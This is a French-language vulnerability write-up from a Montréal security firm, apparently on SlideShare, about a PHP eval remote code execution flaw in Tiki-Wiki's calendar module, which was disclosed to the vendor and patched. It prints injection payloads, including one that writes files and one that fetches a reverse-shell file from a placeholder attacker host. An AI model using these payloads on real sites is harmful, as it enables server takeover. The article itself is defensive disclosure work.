Tiki-VUL-ARTICLE-DO-final-AS1mai2016

2 273 vues

Publié le

0 commentaire
0 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

  • Soyez le premier à aimer ceci

Aucun téléchargement
Vues
Nombre de vues
2 273
Sur SlideShare
0
Issues des intégrations
0
Intégrations
100
Actions
Partages
0
Téléchargements
2
Commentaires
0
J’aime
0
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

Tiki-VUL-ARTICLE-DO-final-AS1mai2016

  1. 1. 410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998 Montréal, le 15 mars 2016 Tiki-Wiki le jour 0 au calendrier Avertissement : Le contenu de cet article se veut informatif et est publié dans un esprit de partage avec les professionnels de la sécurité. SecurEcom Services Conseils se dégage de toute utilisation illicite des informations qui suivent. Au cours des derniers mois, j’ai découvert une vulnérabilité critique lors d’un test d’intrusion sur un site web. Cette vulnérabilité touche le module calendrier du CMS, Tiki-Wiki. Avant d’expliquer techniquement cette vulnérabilité, il est important de décrire la façon employée pour la deceller. Ce qui est le plus surprenant au sujet de cette vulnérabilité, c’est qu’elle fut identifiée et signalée que dernièrement malgré qu’elle soit présente depuis très longtemps. Cette vulnérabilité affecte toutes les versions supportées de Tiki-Wiki (considérant que le calendrier est activé). Compte tenu de la popularité de ce produit utilisé par des milliers de sites web, il est surprenant que je sois le premier testeur à m’y attaquer et à déceler cette faille. L’approche méthodique habituelle m’a permis de découvrir et d’exploiter cette faille qui est d’une simplicité effarante. Lors d’un test d’intrusion, j’effectue systématiquement les mêmes étapes :  Recherche d’information  Analyse des résultats  Exploration des cibles prometteuses  Tentatives d’attaque successives Que ce soit pour un site web, une application, une infrastructure réseau ou des services et serveurs, le principe demeure le même. Les mêmes étapes se succèdent, la phase de recherche d’information s’appuie sur une multitude d’outils informatiques et d’explorations manuelles. Dans le cas de l’application de calendrier sur le Tiki-wiki, certains indices relevés lors de l’analyse m’ont permis d’identifier une anomalie sur le fichier tiki-calendar.php. En effet, certains balayages m’indiquaient qu’il y avait possiblement une mauvaise protection de la fonction « eval » utilisée par le dit module. « Cette faille se produit lorsqu’un attaquant peut contrôler en tout ou en partie une chaîne d'entrée qui est introduite dans un appel de fonction eval (). » Fréquemment, les outils de balayage de vulnérabilités rapportent ce que l’on nomme de faux positifs. C’est pourquoi chaque élément rapporté doit faire l’objet d’une analyse manuelle.
  2. 2. 410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998 Après quelques tests manuels, j’ai décelé qu’il me suffisait d’altérer la requête web pour faire réagir le serveur, c’est-à-dire d’exécuter du code PHP. À partir de ce point, il suffit d’intégrer quelques fichiers PHP au site en modifiant directement le contenu de la barre d’adresse du navigateur. Ceci permet d’obtenir une console de commande connectée directement sur le serveur. Maintenant, le contrôle complet du site et du contenu est obtenu. Description techniques de l’attaque Je ne présenterai pas l’enchainement complet des étapes pour obtenir une telle console mais je fournirai suffisament d’éléments pour permettre aux intéressés de comprendre comment on peut exploiter une faille de type « PHP Remote Code Execution ». Premièrement, pour valider si une faille est exploitable, il suffit de modifier la barre d’adresse du navigateur pour y insérer une commande qui permet d’afficher un mot sur la page et de voir le résultat. Si le mot s’affiche, l’exécution de commandes sur le site est possible. Ex.1 Ajouter une commande à la fin de la barre d’adresse sur une vue du calendrier : ';print(Securecom);$a=' Résultats : EX.2 Inclurer une nouvelle page ou « effacer » l’index principal du site : '; $z=fopen("index6.php",'w'); fwrite($z,("SecurEcom"));fclose($z);$a=' Résultats :
  3. 3. 410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998 Ex.3 Inclure un fichier de commande PHP au site. Cette fois la commande demande au serveur de copier le contenu d’un fichier situé sur l’ordinateur du pirate et de créer le fichier shell.php à la racine du site. Il suffit ensuite de visiter l’adresse du site qui contient le fichier pour exécuter les commandes PHP qu’il contient. En l’occurrence, le fichier peut contenir un « shellcode » de connexion inverse. L’attaquant recevra donc la console dans une connexion en attente. '; $z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://AdresseDuPirate/ shellphp_et_Datachaos/msf2.txt"));fclose($z);' Résultats : Plusieurs autres exemples de ce genre pourraient être donnés mais les intéressés par le sujet auront compris l’essentiel de l’attaque. Il faut se rappeler que toutes les applications sont susceptibles de contenir ce genre de faille. Elle était présente depuis très longtemps malgré qu’elle soit si simple à exploiter. C’est pour cette raison, qu’il ne faut jamais assumer lors d’un test d’intrusion. La vérification consciencieuse de chaque élément est la garantie du succès. À noter que cette vulnérabilité a été déclarée à l’équipe de sécurité de Tiki-Wiki et elle a fait l’objet d’une mise à jour de sécurité importante. http://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki Dany Ouellet, OSCP SecurEcom Services Conseils inc. Dany.ouellet@securecom.ca www.securecom.ca

×